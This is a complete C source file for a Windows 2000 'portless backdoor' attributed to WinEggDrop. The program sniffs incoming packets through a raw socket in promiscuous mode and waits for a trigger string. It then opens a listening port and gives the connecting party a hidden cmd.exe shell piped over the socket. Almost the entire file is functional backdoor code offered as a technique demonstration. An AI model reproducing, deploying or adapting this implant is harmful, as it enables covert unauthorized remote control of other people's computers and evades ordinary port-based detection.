//********************************************************************** // Version: V1.0 // Coder: WinEggDrop // Date Release: NULL // Purpose: To Demonstrate Some Portless Backdoor Technique // Test PlatForm: Win 2K Pro And Server SP4 // Compiled On: LCC 3.0,May Compile On VC++ 6.0(Not Test Yet) //********************************************************************** #include <windows.h> #include <stdio.h> #include <winsock2.h> // Some Structures To Define #define IP_HDRINCL 2 #define SIO_RCVALL _WSAIOW(IOC_VENDOR,1) #define MAX_PACK_LEN 65535 #define MAX_ADDR_LEN 16 #define MAX_HOSTNAME_LAN 255 typedef struct _iphdr { unsigned char h_lenver; unsigned char tos; unsigned short total_len; unsigned short ident; unsigned short frag_and_flags; unsigned char ttl; unsigned char proto; unsigned short checksum; unsigned int sourceIP; unsigned int destIP; }IP_HEADER; typedef struct _tcphdr { USHORT th_sport; USHORT th_dport; unsigned int th_seq; unsigned int th_ack; unsigned char th_lenres; unsigned char th_flag; USHORT th_win; USHORT th_sum; USHORT th_urp; }TCP_HEADER; // End Of Structure // Global Variable char SourceIPAddress[MAX_ADDR_LEN]; // Hold The Source IP(This Can Be Used To Do Reverse Connection) int BackDoorPort = 0; // The Port Back Door Will Bind // Function ProtoType Declaration //------------------------------------------------------------------------------------------- ----------- BOOL InitSocket(); BOOL DoSniffing(); BOOL DecodeIPPack(const char *Buffer,const int BufferSize); BOOL DecodeTCPPack(const char * TCPBuffer,const int BufferSize); BOOL IsWin2KOrAbove(); DWORD WINAPI StartBackDoor(LPVOID Para); BOOL GetABackDoorShell(const SOCKET ListenSocket); BOOL SendSocket(const SOCKET ClientSocket,const char *Message); unsigned int ReceiveMessageFromSocket(const SOCKET ClientSocket,char *Buffer,const int BufferSize); //------------------------------------------------------------------------------------------- ----------- // End Of Fucntion ProtoType Declaration // Main Function int main(int argc,char *argv[]) { if (!IsWin2KOrAbove()) // This System Running This Program Is Not Win 2K Or Above { printf("The Program Must Run Under Win 2k Or Above OS\n"); // Display This Message return -1; // Quit The Program } if (argc == 2) // We Get Argument BackDoorPort = atoi(argv[1]); // Argument One Is The Back Door's Port else // No Argument BackDoorPort = 1982; // Back Door's Port Will Be Defined On 1982 if (!InitSocket()) // Fail To Initize Socket { printf("Fail To Start Up Winsock\n"); // Display Error Message return -1; // Quit The Program } DoSniffing(); // Do Sniffing return 0; // Quit The Program }// End Of Main Function //------------------------------------------------------------------------- // Purpose: To Initize Socket // Return Type: Boolean // Parameters: NULL // This Is Too Simple,I Won't Comment It //------------------------------------------------------------------------- BOOL InitSocket() { WSADATA data; WORD ver; ver = MAKEWORD(2,2); if (WSAStartup( ver, &data )!= 0 ) { return FALSE; } return TRUE; }// End Of InitSocket Function //------------------------------------------------------------------------- // Purpose: To Do None-Driver Sniffing // Return Type: Boolean // Parameters: NULL //------------------------------------------------------------------------- BOOL DoSniffing() { int Length=0; // Variable To Hold The Receive Buffer Length char RecvBuf[MAX_PACK_LEN] = {0}; // Receive Buffer SOCKET SocketRaw = INVALID_SOCKET; // Raw Socket SocketRaw = socket(AF_INET , SOCK_RAW , IPPROTO_IP); // Create A Raw Socket if (SocketRaw == INVALID_SOCKET) // Fail To Create A Raw Socket { printf("Fail To Create A Raw Socket\n"); // Display Error Message return FALSE; // Return False } char FAR name[MAX_HOSTNAME_LAN]; if (gethostname(name, MAX_HOSTNAME_LAN) == SOCKET_ERROR) // Fail To Get The Host Name { printf("Fail To Get Host Name\n"); // Display Error Message closesocket(SocketRaw); // Close The Raw Socket Created return FALSE; // Return False } // The Below Is The NIC Stuff struct hostent FAR * pHostent; pHostent = (struct hostent * )malloc(sizeof(struct hostent)); // Allocate Hostent Buffer pHostent = gethostbyname(name); SOCKADDR_IN sa; sa.sin_family = AF_INET; // That's Internet Related sa.sin_port = htons(0); // Any Port Avariable On The OS if (pHostent->h_addr_list[0] != 0) // We Only Check The First NIC { memcpy(&sa.sin_addr.S_un.S_addr, pHostent->h_addr_list[0], pHostent->h_length); // We Use The First NIC As The Sniffing Subject } else // Well,The First NIC Is Not Valid { printf("Get Host By Name Fails\n"); // Display Error Message free(pHostent); // Free The Hostent Buffer closesocket(SocketRaw); return FALSE; // Return FALSE; } free(pHostent); // Free The Hostent Buffer if (bind(SocketRaw, (PSOCKADDR)&sa, sizeof(sa)) == SOCKET_ERROR) // Bind The Raw Socket On The First NIC,But Fails { printf("Fail To Bind\n"); // Display Error Message closesocket(SocketRaw); // Close The Raw Socket return FALSE; // Return False } // Forget About The Below A Few Lines,They Are Just A Static Routine To Do The None_Driver Sniffing(Some Sort Of Must-Have Codes) DWORD dwBufferLen[10] ; DWORD dwBufferInLen = 1 ; DWORD dwBytesReturned = 0 ; if (WSAIoctl(SocketRaw, SIO_RCVALL,&dwBufferInLen, sizeof(dwBufferInLen),&dwBufferLen, sizeof (dwBufferLen),&dwBytesReturned , NULL , NULL) == SOCKET_ERROR) { closesocket(SocketRaw); return FALSE; } while(TRUE) // Sniffing Starts Here With Forever Loop { memset(RecvBuf, 0, sizeof(RecvBuf)); // Reset The Receive Buffer Length = recv(SocketRaw, RecvBuf, sizeof(RecvBuf), 0); // Try To Receive Data if (Length == SOCKET_ERROR) // Get Error As Receiving Data { printf("Fail To Receive Data\n"); // Display Error Message break; // Leave The Loop } if (DecodeIPPack(RecvBuf,Length)) // Decode The Buffer Received,And The Active Code Is Found { printf("Bingo,The BackDoor Is Activated On Port %d\n",BackDoorPort); //We Are Going To Activate The BackDoor DWORD dwThreadID; HANDLE BackDoorThread = CreateThread(NULL,0,&StartBackDoor,NULL,0,&dwThreadID); // Create The Back Door Thread WaitForSingleObject(BackDoorThread,INFINITE); // Wait Until The Back Door Ends } } closesocket(SocketRaw); // Close The Raw Socket return TRUE; // Return }// End Of DoSniffing Function //------------------------------------------------------------------------- // Purpose: To Decode The IP Packer // Return Type: Boolean // Parameters: 1.const char *Buffer -->The Received Buffer // 2.Const int BufferSize -->The Received Buffer Size //------------------------------------------------------------------------- BOOL DecodeIPPack(const char *Buffer,const int BufferSize) { IP_HEADER *pIpheader; // IP Header SOCKADDR_IN saSource, saDest; pIpheader = (IP_HEADER *)Buffer; // Transfer The Buffer Into IP Header Form int Protocol = pIpheader->proto; // Get The Protocol if ((Protocol != IPPROTO_TCP)) // Not TCP Protocol { return FALSE; // Return False Since We Only Interest In TCP Protocol } saSource.sin_addr.s_addr = pIpheader->sourceIP; strncpy(SourceIPAddress, inet_ntoa(saSource.sin_addr), MAX_ADDR_LEN); // Get The Source IP(Important For Doing Reverse Connection) int IPLength = sizeof(unsigned long) * (pIpheader->h_lenver & 0xf); // Get The IP Length return DecodeTCPPack(Buffer+IPLength, BufferSize); // Decode TCP Packer }// End Of DecodeIPPack Function //------------------------------------------------------------------------- // Purpose: To Decode The TCP Packer // Return Type: Boolean // Parameters: 1.const char *TCPBuffer -->The TCP Buffer // 2.Const int BufferSize -->The TCP Buffer Size //------------------------------------------------------------------------- BOOL DecodeTCPPack(const char * TCPBuffer,const int BufferSize) { TCP_HEADER * pTcpHeader; // TCP Header int iSourcePort,iDestPort; // Source Port And DestPort pTcpHeader = (TCP_HEADER * )TCPBuffer; // Transfer The Buffer Into TCP Header Form int TcpHeaderLen = pTcpHeader->th_lenres>>4; // Get The TCP Leader Length TcpHeaderLen *= sizeof(unsigned long); char * TcpData=TCPBuffer+TcpHeaderLen; // Get The TCP Data iSourcePort = ntohs(pTcpHeader->th_sport); // Get The Source Port iDestPort = ntohs(pTcpHeader->th_dport); // Get The Destination Port if (strstr(TcpData,"wineggdrop")!=NULL) // If The TCP Data Contains A Word "wineggdrop"(The Active Code),Then Bingo { printf("%s:%d-->Local:%d\r\n",SourceIPAddress,iSourcePort,iDestPort); // Display A Message return TRUE; // Return TRUE(The Back Door Will Be Activated Soon) } return FALSE; // We Didn't Receive An Active Code,Return False }// End Of DecodeTCPPack Function //------------------------------------------------------------------------- // Purpose: To Check The OS // Return Type: Boolean // Parameters: NULL //------------------------------------------------------------------------- BOOL IsWin2KOrAbove() { OSVERSIONINFO OSVersionInfo; OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); if (GetVersionEx(&OSVersionInfo)) // Get The OS Version return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT) && (OSVersionInfo.dwMajorVersion == 5)); // Return Whether It's Win 2k Or Above OS else return FALSE; // Fail To Get The OS Version,Just Return FALSE }// End Of IsWin2KOrAbove Function //-------------------------------------------------------------------------------- // Purpose: To Ease The Way To Send Data Through Socket // Return Type: Boolean // Parameters: 1.const SOCKET ClientSocket --> The Socket To Send Message // 2.const char *Message --> Message To Send //-------------------------------------------------------------------------------- BOOL SendSocket(const SOCKET ClientSocket,const char *Message) { return (send(ClientSocket,Message,strlen(Message),0)!=SOCKET_ERROR); }// End Of SendSocket //-------------------------------------------------------------------------------- // Purpose: To Start The Back Door // Return Type: DWORD // Parameters: LPVOID Para --> Can Be AnyThing //-------------------------------------------------------------------------------- DWORD WINAPI StartBackDoor(LPVOID Para) { struct sockaddr_in srv; SOCKET ListenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // Create A TCP Socket if (ListenSocket == INVALID_SOCKET) // Fail To Create A TCP Socket { printf("Fail To Create A BackDoor Socket\n"); // Display Error Message return -1; // Return } srv.sin_family = AF_INET; // Internet Related srv.sin_addr.s_addr = htonl(INADDR_ANY); // Any Address srv.sin_port = htons(BackDoorPort); // Back Door Port if (bind(ListenSocket,(const struct sockaddr *) &srv,sizeof(srv)) == INVALID_SOCKET) // Fail To Bind The Socket { printf("Fail To Bind BackDoor Sokcet\n"); // Display Error Message closesocket(ListenSocket); // Close The Socket return -1; // Return } if (listen(ListenSocket,1) == INVALID_SOCKET) // Fail To Listen On The Back Door's Port { printf("Fail To Listen\n"); // Display Error Message closesocket(ListenSocket); // Close The Socket return -1; // Return } SOCKET AcceptSocket = accept(ListenSocket, NULL,NULL); // Accepting Connections if (AcceptSocket == INVALID_SOCKET) // Fail To Accept Connection { printf("Fail To Accept Connection\n"); // Display Error Message closesocket(ListenSocket); // Close The Socket return -1; // Return } GetABackDoorShell(AcceptSocket); // Get A CMD Shell closesocket(AcceptSocket); // Close Accpeted Socket closesocket(ListenSocket); // Close The Listen Socket return 0; // Return }// End Of StartBackDoor Function //-------------------------------------------------------------------------------- // Purpose: To To The Shell Stuff // Return Type: Boolean // Parameters: const SOCKET ListenSocket --> The Client Connected Socket //-------------------------------------------------------------------------------- BOOL GetABackDoorShell(const SOCKET ListenSocket) { char ReceiveBuffer[MAX_PATH + 1]; // The Receive Buffer char SendBuffer[1024 * 4]; // The Send Buffer unsigned long OutputLength,InputLength; // The Input And Output Length // The Pipe And Some Other Sutff HANDLE ClientReadPipe = NULL; HANDLE ClientWritePipe = NULL; HANDLE CmdWritePipe = NULL; HANDLE CmdReadPipe = NULL; SECURITY_ATTRIBUTES sa = {0}; STARTUPINFO si = {0}; PROCESS_INFORMATION pi = {0}; ZeroMemory(ReceiveBuffer,sizeof(ReceiveBuffer)); if (GetSystemDirectory(ReceiveBuffer,MAX_PATH)) // Get System Directory { strcat(ReceiveBuffer,"\\cmd.exe"); // Get The Cmd.exe Full Path } else // Fail To Get System Directory { SendSocket(ListenSocket,"Fail To Get System Diretory\r\n"); // Display Error Message return FALSE; // Return } // Initize The Stuff sa.nLength = sizeof(sa); sa.bInheritHandle = TRUE; sa.lpSecurityDescriptor = NULL; memset(&pi,0,sizeof(pi)); if (!CreatePipe(&ClientReadPipe,&CmdWritePipe,&sa,0)) // Fail To Create Client Read Pipe { SendSocket(ListenSocket,"Fail To Create Client Read Pipe\r\n"); // Display Error Message goto CleanUP; // Leave } if (!CreatePipe(&CmdReadPipe,&ClientWritePipe,&sa,0)) // Fail To Create Cmd Read Pipe { SendSocket(ListenSocket,"Fail To Create CMD Read Pipe\r\n"); // Display Error Message goto CleanUP; // Leave } // Reset And Initize Stuff memset((void *)&si,0,sizeof(si)); memset((void *)&pi,0,sizeof(pi)); si.cb = sizeof(si); si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; si.wShowWindow = SW_HIDE; si.hStdInput = CmdReadPipe; // Pass The CmdReadPipe To StdInput si.hStdError = CmdWritePipe; // Pass The CmdWritePipe To StdError si.hStdOutput = CmdWritePipe; // Pass The CmdWritePipe To StdOutput if (!CreateProcess(ReceiveBuffer,NULL,NULL,NULL,1,0,NULL, NULL,&si,&pi)) // Fail To Create A Cmd Shell Process { SendSocket(ListenSocket,"Fail To Create Process\r\n"); // Display Error Message goto CleanUP; // Leave } while(TRUE) // Shell Commincation Starts Here { if (!PeekNamedPipe(ClientReadPipe,SendBuffer,sizeof(SendBuffer),&OutputLength,NULL,NULL)) // Fail To Get Data From The Pipe { SendSocket(ListenSocket,"Fail To Peek Name Pipe\r\n"); // Display Error Message break; // Leave } if (OutputLength > 0) // Get Data From The Pipe Successfully { ZeroMemory(SendBuffer,sizeof(SendBuffer)); // Reset The Send Buffer if (!ReadFile(ClientReadPipe,SendBuffer,OutputLength,&OutputLength,0)) //Fail To Read The Data { SendSocket(ListenSocket,"Fail To Read File\r\n"); // Display Error Message break; // Leave } if (send(ListenSocket,SendBuffer,OutputLength,0) == SOCKET_ERROR) // Fail To Send The Data { printf("Fail To Send Buffer\n"); // Display Error Message break; // Leave } } else { ZeroMemory(ReceiveBuffer,sizeof(ReceiveBuffer)); // Reset Receive Buffer InputLength = ReceiveMessageFromSocket(ListenSocket, ReceiveBuffer, sizeof (ReceiveBuffer)); // Receive Input From Client if (InputLength == SOCKET_ERROR) // Fail To Receive Data { printf("Fail To Receive Buffer\n"); // Display Error Message break; // Leave } if (!WriteFile(ClientWritePipe,ReceiveBuffer,InputLength,&InputLength,0)) // Fail To Write The Received Data To The Pipe { printf("Fail To Write File\n"); // Display Error Message break; // Leave } // Leave The Shell if (strnicmp((char*)ReceiveBuffer, "exit\r\n", 6) == 0 || strnicmp((char*) ReceiveBuffer, "exit\r", 5)==0 || strnicmp((char*)ReceiveBuffer, "exit\n", 5)==0) break; } } // Clean All Resource Allocated CleanUP: if (CmdReadPipe != NULL) CloseHandle(CmdReadPipe); if (CmdWritePipe != NULL) CloseHandle(CmdWritePipe); if (ClientReadPipe != NULL) CloseHandle(ClientReadPipe); if (ClientWritePipe) CloseHandle(ClientWritePipe); return TRUE; }// End Of GetABackDoorShell Function //-------------------------------------------------------------------------------- // Purpose: To Receive Data From Socket In A Custom-Defined Way // Return Type: unsigned int // Parameters: 1.const SOCKET ClientSocket --> The Client Connected Socket // 2.char *Buffer --> Buffer To Hold Data Received // 3.const int BufferSize --> The Buffer Size //-------------------------------------------------------------------------------- unsigned int ReceiveMessageFromSocket(const SOCKET ClientSocket,char *Buffer,const int BufferSize) { ZeroMemory(Buffer,BufferSize); // Reset The Buffer if (BufferSize < 2) // Buffer Size Is Less Then 2 { return 0; // Dump } unsigned int CharacterCount = 0; while(TRUE) { if (CharacterCount >= BufferSize) // The Characters Received Is Bigger Or Equal The Buffer Size { // Give The Buffer An Enter Buffer[BufferSize-2] = '\r'; Buffer[BufferSize-1] = '\n'; return CharacterCount; // Return The Characters Received } if (recv(ClientSocket,Buffer+CharacterCount,1,0) == SOCKET_ERROR) // Fail To Receive Data { return SOCKET_ERROR; // Return Error } if (Buffer[CharacterCount] == '\b') // Back Space Detected { Buffer[CharacterCount] = '\0'; // Skip It if (CharacterCount > 0) // Characters Received Is Bigger Than 0 { CharacterCount--; // Decrease One Character Buffer[CharacterCount] = '\0'; } continue; // Begin A New Loop } if (Buffer[CharacterCount++] == '\n') // Enter Is Detected { return CharacterCount; // Return The Characters Received } } return 0; // We Get Nothing,Return Zero }// End Of ReceiveMessageFromSocket Function // End Of File